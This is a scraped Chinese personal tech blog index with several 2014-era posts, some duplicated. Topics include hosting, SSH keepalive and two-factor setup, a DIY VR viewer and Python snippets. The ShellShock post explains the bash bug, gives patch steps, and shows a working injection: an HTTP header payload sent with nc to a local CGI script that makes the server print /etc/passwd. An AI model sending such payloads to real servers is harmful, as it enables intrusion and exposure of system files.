Oct
9
博客又搬家了,主要是因为mk802用了两年,好像有点老了,让人有点不太放心,所以还是决定花点钱买点省心。
这次终于还是搬到了DigitalOcean,5$/month,512M RAM + 20G SSD,性价比很高,而且可以选择Singapore的机房,ping值也很让我满意,SSH上去几乎感觉不到什么延迟,各种倒腾以后算是安定下来了,就这样吧。
如果你也想用DigitalOcean,可以用我的Referrer链接来注册:https://www.digitalocean.com/?refcode=1a51e0fbce00 ,这样在你支付25$你的帐号里就会打入10$,我的帐号上也会收到25$,这个项目还是挺给力的。
p.s. 如下面@whusnoopy同学所述,Github的Student Pack有100$的Digital Ocrean Promo Code,只要有edu邮箱就可以注册,快来薅(hāo)羊毛吧。
这次终于还是搬到了DigitalOcean,5$/month,512M RAM + 20G SSD,性价比很高,而且可以选择Singapore的机房,ping值也很让我满意,SSH上去几乎感觉不到什么延迟,各种倒腾以后算是安定下来了,就这样吧。
如果你也想用DigitalOcean,可以用我的Referrer链接来注册:https://www.digitalocean.com/?refcode=1a51e0fbce00 ,这样在你支付25$你的帐号里就会打入10$,我的帐号上也会收到25$,这个项目还是挺给力的。
p.s. 如下面@whusnoopy同学所述,Github的Student Pack有100$的Digital Ocrean Promo Code,只要有edu邮箱就可以注册,快来薅(hāo)羊毛吧。
Sep
27
#update@09.28 注意,根据CoolShell这篇文章指出,官方的patch25并没有真正解决问题,仍然可以使用这种方式来实现注入(具体解释详见那篇文章): $ env X='() { (a)=>\' bash -c "echo date"; ,经过测试,Ubuntu官方更新的Bash不受影响,但是自己patch的bash还是不能解决这个问题。
大概大家都知道了,最近bash爆出来了个大漏洞,名号ShellShock,影响范围是bash 1.14 ~ 4.3(最新版),基本上你能想到的Linux/Unix机器都中招了,包括果粉们的macbook。
当然有些人还是心怀侥幸,那么就执行下面这个命令试试看:
$ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"
如果输出是:恭喜你中奖了,bash将环境变量的定义直接执行了,说明被注入了。
而打过补丁的系统里,输出应当是:
解决方法其实很简单,大多数发行版都迅速针对这个问题推出了安全更新,比如常用的ubuntu,只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似,网上搜一下就能找到相应说明。
而对于raspberry pi或者是mk802这种就比较蛋疼,ports.ubuntu.com 还没有及时更新,因此只能手动打补丁了:
【UPDATE】patch-25并没有完全解决问题,可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
打完补丁心里放心了,就可以来安心看看shellshock是怎样影响到你的系统的。
一个最简单的例子是CGI(Common Gateway Interface),最早的动态页面都是通过CGI实现的:http server除了给出一些CGI中规定的环境变量之外,还有解析HTTP Header中的字段,加上前缀HTTP_也设置为环境变量;准备好env以后,才去调用对应的CGI程序,CGI程序通过解析变量的值来获取用户的输入,并给出相应的返回。
比如说Ubuntu上的apache,默认是开启了mod_cgi,并且cgi目录是 /usr/lib/cgi-bin ,我们可以在下面放一个最简单的cgi脚本,名叫 test (并chmod +x),其内容是
访问 http://127.0.0.1/cgi-bin/test ,你就可以看到一个页面,内容是Hi。你可以在CGI程序的末尾追加一个env命令,用来查看环境变量,可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容,也可以看到HTTP_USER_AGENT之类浏览器添加的内容。
注意,浏览器可以影响到(这个cgi脚本及其子进程的)环境变量——这就是突破点了,因此可以很容易地构造一个攻击请求,让服务器执行指定的命令,例如:
服务器返回的内容就变成了:
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked
455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash
经过我的测试,php-fpm和apache的mod_php方式都不不受shellshock的影响,但是不要认为你没有跑上面这种CGI程序就放心了,例如常见的基于CGI的perl和php(据说fastcgi没问题,但我没测试),有时会通过system之类的函数调用shell命令,这也会导致bash被调用,而且据说openssh和dns client也有类似的问题(具体情形我没有了解),所以就不要侥幸了,尽快升级你的bash吧!
p.s. 说一句马后炮的话,这个BUG实际上非常简单(以至于我这么容易就弄懂了),bash遍历环境变量的时候会(用yacc生成的解释器)检查它的值,如果它看起来像是一个函数的定义(就像 x="() { echo hello!; }" 这样),那么bash会eval这段代码,然而如前面的例子所示,虽然它看起来像是一个函数定义,但是它实际上可以是用分号分隔的多个语句,依然满足bash的语法……看了一下bash43-025这个patch,修改了几十行,主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码,从而避免了上述情况。
大概大家都知道了,最近bash爆出来了个大漏洞,名号ShellShock,影响范围是bash 1.14 ~ 4.3(最新版),基本上你能想到的Linux/Unix机器都中招了,包括果粉们的macbook。
当然有些人还是心怀侥幸,那么就执行下面这个命令试试看:
$ env x="() { :;}; echo vulnerable" bash -c "echo this is a test"
如果输出是:
引用
vulnerable
this is a test
this is a test
而打过补丁的系统里,输出应当是:
引用
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
bash: error importing function definition for `x'
this is a test
解决方法其实很简单,大多数发行版都迅速针对这个问题推出了安全更新,比如常用的ubuntu,只需要在 sudo apt-get update 以后运行 sudo apt-get install bash 就可以了。redhat什么的也类似,网上搜一下就能找到相应说明。
而对于raspberry pi或者是mk802这种就比较蛋疼,ports.ubuntu.com 还没有及时更新,因此只能手动打补丁了:
【UPDATE】patch-25并没有完全解决问题,可以在另一个ubuntu下apt-get source bash来获取完全免疫版本的源码
#!/bin/bash
mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install
mkdir bash-patched
cd bash-patched
wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
#download all patches
for i in $(seq -f "%03g" 0 25); do wget http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-$i; done
tar zxvf bash-4.3.tar.gz
cd bash-4.3
#apply all patches
for i in $(seq -f "%03g" 0 25);do patch -p0 < ../bash43-$i; done #截止到2014/9/27最新的patch编号是25
#build and install
./configure --prefix=/
make && make install
打完补丁心里放心了,就可以来安心看看shellshock是怎样影响到你的系统的。
一个最简单的例子是CGI(Common Gateway Interface),最早的动态页面都是通过CGI实现的:http server除了给出一些CGI中规定的环境变量之外,还有解析HTTP Header中的字段,加上前缀HTTP_也设置为环境变量;准备好env以后,才去调用对应的CGI程序,CGI程序通过解析变量的值来获取用户的输入,并给出相应的返回。
比如说Ubuntu上的apache,默认是开启了mod_cgi,并且cgi目录是 /usr/lib/cgi-bin ,我们可以在下面放一个最简单的cgi脚本,名叫 test (并chmod +x),其内容是
#!/bin/bash
echo #输出一个空行,用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"
echo #输出一个空行,用来分隔httpserver的HTTP Header和下面的HTTP Entity
echo "Hi"
访问 http://127.0.0.1/cgi-bin/test ,你就可以看到一个页面,内容是Hi。你可以在CGI程序的末尾追加一个env命令,用来查看环境变量,可以看到诸如REQUEST_URI、REMOTE_PORT之类Server自动填充的内容,也可以看到HTTP_USER_AGENT之类浏览器添加的内容。
注意,浏览器可以影响到(这个cgi脚本及其子进程的)环境变量——这就是突破点了,因此可以很容易地构造一个攻击请求,让服务器执行指定的命令,例如:
引用
$ nc 127.0.0.1 80
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd
GET / HTTP/1.1
Host: 127.0.0.1
X: () { :;}; echo ""; cat /etc/passwd
服务器返回的内容就变成了:
引用
HTTP/1.1 200 OK
Date: Fri, 26 Sep 2014 16:52:21 GMT
Server: Apache/2.2.22 (Ubuntu)
Transfer-Encoding: chunked
455
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
username:x:1000:1000:username,,,:/home/username:/bin/bash
经过我的测试,php-fpm和apache的mod_php方式都不不受shellshock的影响,但是不要认为你没有跑上面这种CGI程序就放心了,例如常见的基于CGI的perl和php(据说fastcgi没问题,但我没测试),有时会通过system之类的函数调用shell命令,这也会导致bash被调用,而且据说openssh和dns client也有类似的问题(具体情形我没有了解),所以就不要侥幸了,尽快升级你的bash吧!
p.s. 说一句马后炮的话,这个BUG实际上非常简单(以至于我这么容易就弄懂了),bash遍历环境变量的时候会(用yacc生成的解释器)检查它的值,如果它看起来像是一个函数的定义(就像 x="() { echo hello!; }" 这样),那么bash会eval这段代码,然而如前面的例子所示,虽然它看起来像是一个函数定义,但是它实际上可以是用分号分隔的多个语句,依然满足bash的语法……看了一下bash43-025这个patch,修改了几十行,主要就是增加了 SEVAL_FUNCDEF 和 SEVAL_ONECMD 两个类型以及相应的用于进一步区分环境变量的检测代码,从而避免了上述情况。
Sep
26
二选一应该就行了:
(1) 客户端:修改/etc/ssh/ssh_config ,
增加ServerAliveInterval 15,这样客户端会在空闲时每15s给Server发送一个null包
增加ServerAliveCountMax 3 (默认值就是3),如果连续3次null包没有收到回应就会断开连接
(2) [类似地] 服务端:修改/etc/ssh/sshd_config,
增加ClientAliveInterval 15,这样服务端会在空闲时每15s给Client发送一个null包。
增加ClientAliveCountMax 3 (默认值就是3),如果连续3次null包没有收到回应就会断开连接
详情可以 man ssh_config 或者 man sshd_config 查看。
(1) 客户端:修改/etc/ssh/ssh_config ,
增加ServerAliveInterval 15,这样客户端会在空闲时每15s给Server发送一个null包
增加ServerAliveCountMax 3 (默认值就是3),如果连续3次null包没有收到回应就会断开连接
(2) [类似地] 服务端:修改/etc/ssh/sshd_config,
增加ClientAliveInterval 15,这样服务端会在空闲时每15s给Client发送一个null包。
增加ClientAliveCountMax 3 (默认值就是3),如果连续3次null包没有收到回应就会断开连接
详情可以 man ssh_config 或者 man sshd_config 查看。
Jul
2
UPDATE@9.24 在淘宝上弄了个Google Cardboard的国内山寨版,效果不是很好,一个是焦距调得不好,我得带上眼镜才能看,另一个是瞳距好像不太对,看着容易晕。还是自己DIY的用着舒服啊。等暴风魔镜正式版出来以后可以再弄个来试试看。
Oculus Rift DK2自从3月发布以来,大家都翘首以待,今天终于确定了,7月发货1w台,比预期的少,后下订单的估计有得等了。想起去年ChinaJoy在Intel展区体验了一下1代的Oculus Rift,演示程序是RiftCoaster,就是那个经典的过山车,回想起来还是很带感。这么火爆的设备,估计在今年的ChinaJoy也可以体验到,真是令人相当期待。在这等待的时间里,还是可以做点其他事情的,比如DIY一个属于自己的虚拟现实设备。
网上早就在流传把诸如小米3之类的手机改造成VR设备,之前也有了解过,看起来貌似很复杂的样子;直到前几天GOOGLE I/O大会,发布了一个Cardboard,然后到Oculus Rift贴吧里看了一下,发现有些网友的自制设备可寒酸了,就是拿了个纸盒子打孔,固定手机和透镜就行,才意识到其实自己DIY一个也很简单的,手机可以作为显示屏,自己手头有瓦楞纸(就是快递用纸箱的那种纸皮)、宽胶带、小刀、剪刀、尺子,唯一缺少的材料就是一对合适的凸透镜——求助万能的淘宝就行了。
Oculus Rift DK2自从3月发布以来,大家都翘首以待,今天终于确定了,7月发货1w台,比预期的少,后下订单的估计有得等了。想起去年ChinaJoy在Intel展区体验了一下1代的Oculus Rift,演示程序是RiftCoaster,就是那个经典的过山车,回想起来还是很带感。这么火爆的设备,估计在今年的ChinaJoy也可以体验到,真是令人相当期待。在这等待的时间里,还是可以做点其他事情的,比如DIY一个属于自己的虚拟现实设备。
网上早就在流传把诸如小米3之类的手机改造成VR设备,之前也有了解过,看起来貌似很复杂的样子;直到前几天GOOGLE I/O大会,发布了一个Cardboard,然后到Oculus Rift贴吧里看了一下,发现有些网友的自制设备可寒酸了,就是拿了个纸盒子打孔,固定手机和透镜就行,才意识到其实自己DIY一个也很简单的,手机可以作为显示屏,自己手头有瓦楞纸(就是快递用纸箱的那种纸皮)、宽胶带、小刀、剪刀、尺子,唯一缺少的材料就是一对合适的凸透镜——求助万能的淘宝就行了。
Jun
15
挺早之前就有设想过这样一个Python模块,基于共享内存(Linux下的mmap)的哈希表实现,使得多个Python进程之间可以方便地共享一些数据。
某天心血来潮,花了几个小时居然写出来了,然后花了两天时间陆陆续续修补完善。
由于偷懒,没有做信号量/锁之类的东西,所以只适合一些简单的场景。
性能还凑合,但是没经过正经的测试和实际使用,仅供参考。
pypi页:https://pypi.python.org/pypi/pyshmht
Github:https://github.com/felix021/pyshmht
某天心血来潮,花了几个小时居然写出来了,然后花了两天时间陆陆续续修补完善。
由于偷懒,没有做信号量/锁之类的东西,所以只适合一些简单的场景。
性能还凑合,但是没经过正经的测试和实际使用,仅供参考。
pypi页:https://pypi.python.org/pypi/pyshmht
Github:https://github.com/felix021/pyshmht
May
30
好久没写Blog了,今天来发一段带有量子效应的冷代码。
我们知道在杨氏双缝实验里面,观测与否会导致迥异的实验结果——即使是在电子通过双缝以后再观测也一样。
这段代码也有类似的效应:相信你注意到了,第6/7行被我注释掉了。你可以理解吗?是否注释这两行,会导致第5行print的结果不同哟。
我们知道在杨氏双缝实验里面,观测与否会导致迥异的实验结果——即使是在电子通过双缝以后再观测也一样。
这段代码也有类似的效应:相信你注意到了,第6/7行被我注释掉了。你可以理解吗?是否注释这两行,会导致第5行print的结果不同哟。
a = 1
def foo():
locals().update(globals())
print locals()
#print a
#a += 1
foo()
def foo():
locals().update(globals())
print locals()
#print a
#a += 1
foo()
Apr
15
今天从@Zavior同学那里听说了Google的开源项目Google Authenticator,它除了为Google帐号的两步验证功能提供了对应的app(安卓/iOS/黑莓)之外,还将这个功能开放出来、配套一个PAM模块,使得将两步验证功能代入ssh变得非常简单,回想起以前在B公司实习时用的那个硬件token,那真是又贵又麻烦。
步骤非常简单:
注意:如果是远程操作,请先开启一个应急连接,万一失败了还有救……
0. 安装对应的app,详见项目主页
1. 编译安装(@ubuntu)
$ sudo apt-get install libpam0g-dev libqrencode3 libtool
$ git clone https://github.com/google/google-authenticator.git
$ cd google-authenticator/libpam
$ ./bootstrap.sh && ./configure
$ make && sudo make install
[update@2016-01-04] 不知道从哪个版本开始,在ubuntu下,make install不会把pam模块拷贝到指定地点,需要手工操作:
$ sudo cp .libs/pam_google_authenticator.so /lib/security/
2. 配置openssh
$ sudo vi /etc/pam.d/sshd
#最上方加一行 "auth required pam_google_authenticator.so"
#这个配置可以更复杂一些,加上一些参数,详见 libpam/README
#注:如果遇到仍然需要输入密码的情况,改成 "auth sufficient pam_google_authenticator.so" 试试。
$ sudo vi /etc/ssh/sshd_config
#将 ChallengeResponseAuthentication 选项的 no 改成 yes
$ sudo /etc/init.d/ssh restart
3. 生成密钥
$ google-authenticator #注:运行这个命令的是需要登录的用户,不是root用户
Do you want authentication tokens to be time-based (y/n) y (确认:基于时间的认证token)
【这里会显示生成二维码的地址、二维码、密钥明文、应急码】
Do you want me to update your "/var/www/.google_authenticator" file (y/n) y (确认:更新配置文件)
......
size of 1:30min to about 4min. Do you want to do so (y/n) n (token有效期是1.5min,选y就是4min)
......
Do you want to enable rate-limiting (y/n) y (30s内只允许尝试三次)
4. 在app里扫二维码,或者手动输入密钥,即可看到token每隔30s更新一次了
5. 尝试登录
$ ssh localhost
verification code: 【输入验证码】
password: 【输入密码】
最后,提醒一下使用SecureCRT的同学,你需要在Session Options -> Connection -> SSH2,将Authentication中只选用 "Keyboard Interactive" ,否则没法正常登录。
步骤非常简单:
注意:如果是远程操作,请先开启一个应急连接,万一失败了还有救……
0. 安装对应的app,详见项目主页
1. 编译安装(@ubuntu)
$ sudo apt-get install libpam0g-dev libqrencode3 libtool
$ git clone https://github.com/google/google-authenticator.git
$ cd google-authenticator/libpam
$ ./bootstrap.sh && ./configure
$ make && sudo make install
[update@2016-01-04] 不知道从哪个版本开始,在ubuntu下,make install不会把pam模块拷贝到指定地点,需要手工操作:
$ sudo cp .libs/pam_google_authenticator.so /lib/security/
2. 配置openssh
$ sudo vi /etc/pam.d/sshd
#最上方加一行 "auth required pam_google_authenticator.so"
#这个配置可以更复杂一些,加上一些参数,详见 libpam/README
#注:如果遇到仍然需要输入密码的情况,改成 "auth sufficient pam_google_authenticator.so" 试试。
$ sudo vi /etc/ssh/sshd_config
#将 ChallengeResponseAuthentication 选项的 no 改成 yes
$ sudo /etc/init.d/ssh restart
3. 生成密钥
$ google-authenticator #注:运行这个命令的是需要登录的用户,不是root用户
Do you want authentication tokens to be time-based (y/n) y (确认:基于时间的认证token)
【这里会显示生成二维码的地址、二维码、密钥明文、应急码】
Do you want me to update your "/var/www/.google_authenticator" file (y/n) y (确认:更新配置文件)
......
size of 1:30min to about 4min. Do you want to do so (y/n) n (token有效期是1.5min,选y就是4min)
......
Do you want to enable rate-limiting (y/n) y (30s内只允许尝试三次)
4. 在app里扫二维码,或者手动输入密钥,即可看到token每隔30s更新一次了
5. 尝试登录
$ ssh localhost
verification code: 【输入验证码】
password: 【输入密码】
最后,提醒一下使用SecureCRT的同学,你需要在Session Options -> Connection -> SSH2,将Authentication中只选用 "Keyboard Interactive" ,否则没法正常登录。
Jan
22
本系列的上一篇已经是两年多前的事情了……
当时那个版本一直用到今天,已经有点勉强了,主要是基于XP的PE不能识别这两年新出的主板SATA(比如现在这块B85),很蛋疼,得先到BIOS里改成IDE模式再进PE才能操作磁盘。于是今天找了下小聪同学的TonPE,发现也已经物是人非,TonPE已经出售,风格大变,也不太好用了(安装包里的关键文件都用密码加密了,至于吗),哎,后妈就是不一样啊。幸好万能的互联网保存了早先发布的版本,于是找到了基于Win7的PE,Ton7PE_V3.3(基于Win8的Ton8PE_V4.0也能找到,但是在VBox里测试有问题,所以就没用它)。V3.3这个版本做得很赞,不仅能识别SATA,连USB3接口都能识别,而且所有文件都打包到一个WIM里头,不需要像上次那样做一些蛋疼的改动就能用。
装到U盘第二个分区的好处如上一篇所说:1. 跟U盘的正常数据区分开来,不会误删,甚至格式化U盘分区都无所谓;2. PE是单独的分区,而且永远不会被Windows载入,不用担心病毒感染;3. (相比于量产+ISO的U盘)在资源管理器里不会显示多余的分区。
具体的操作流程如下:
1. 用Disk Genius给U盘最后留下90M的空间,格式化成FAT16分区,激活该分区(即设置启动标志)
2. 用Disk Genius把TonPE_V3.3.iso里的内容导入(新版是在邮件菜单中选择“复制文件到当前分区”)到该分区(在分区参数右边有个“浏览文件”的TAB),或者可以在Linux下挂载后拷贝进去
3. 用BOOTICE.exe修改第二个分区的引导记录为“BOOTMGR引导程序”
然后就可以用这个U盘启动啦。
上面涉及到的所有工具/文件都放在这里啦: http://pan.baidu.com/s/1qW4PogW ,包括最原始的安装文件。
当时那个版本一直用到今天,已经有点勉强了,主要是基于XP的PE不能识别这两年新出的主板SATA(比如现在这块B85),很蛋疼,得先到BIOS里改成IDE模式再进PE才能操作磁盘。于是今天找了下小聪同学的TonPE,发现也已经物是人非,TonPE已经出售,风格大变,也不太好用了(安装包里的关键文件都用密码加密了,至于吗),哎,后妈就是不一样啊。幸好万能的互联网保存了早先发布的版本,于是找到了基于Win7的PE,Ton7PE_V3.3(基于Win8的Ton8PE_V4.0也能找到,但是在VBox里测试有问题,所以就没用它)。V3.3这个版本做得很赞,不仅能识别SATA,连USB3接口都能识别,而且所有文件都打包到一个WIM里头,不需要像上次那样做一些蛋疼的改动就能用。
装到U盘第二个分区的好处如上一篇所说:1. 跟U盘的正常数据区分开来,不会误删,甚至格式化U盘分区都无所谓;2. PE是单独的分区,而且永远不会被Windows载入,不用担心病毒感染;3. (相比于量产+ISO的U盘)在资源管理器里不会显示多余的分区。
具体的操作流程如下:
1. 用Disk Genius给U盘最后留下90M的空间,格式化成FAT16分区,激活该分区(即设置启动标志)
2. 用Disk Genius把TonPE_V3.3.iso里的内容导入(新版是在邮件菜单中选择“复制文件到当前分区”)到该分区(在分区参数右边有个“浏览文件”的TAB),或者可以在Linux下挂载后拷贝进去
3. 用BOOTICE.exe修改第二个分区的引导记录为“BOOTMGR引导程序”
然后就可以用这个U盘启动啦。
上面涉及到的所有工具/文件都放在这里啦: http://pan.baidu.com/s/1qW4PogW ,包括最原始的安装文件。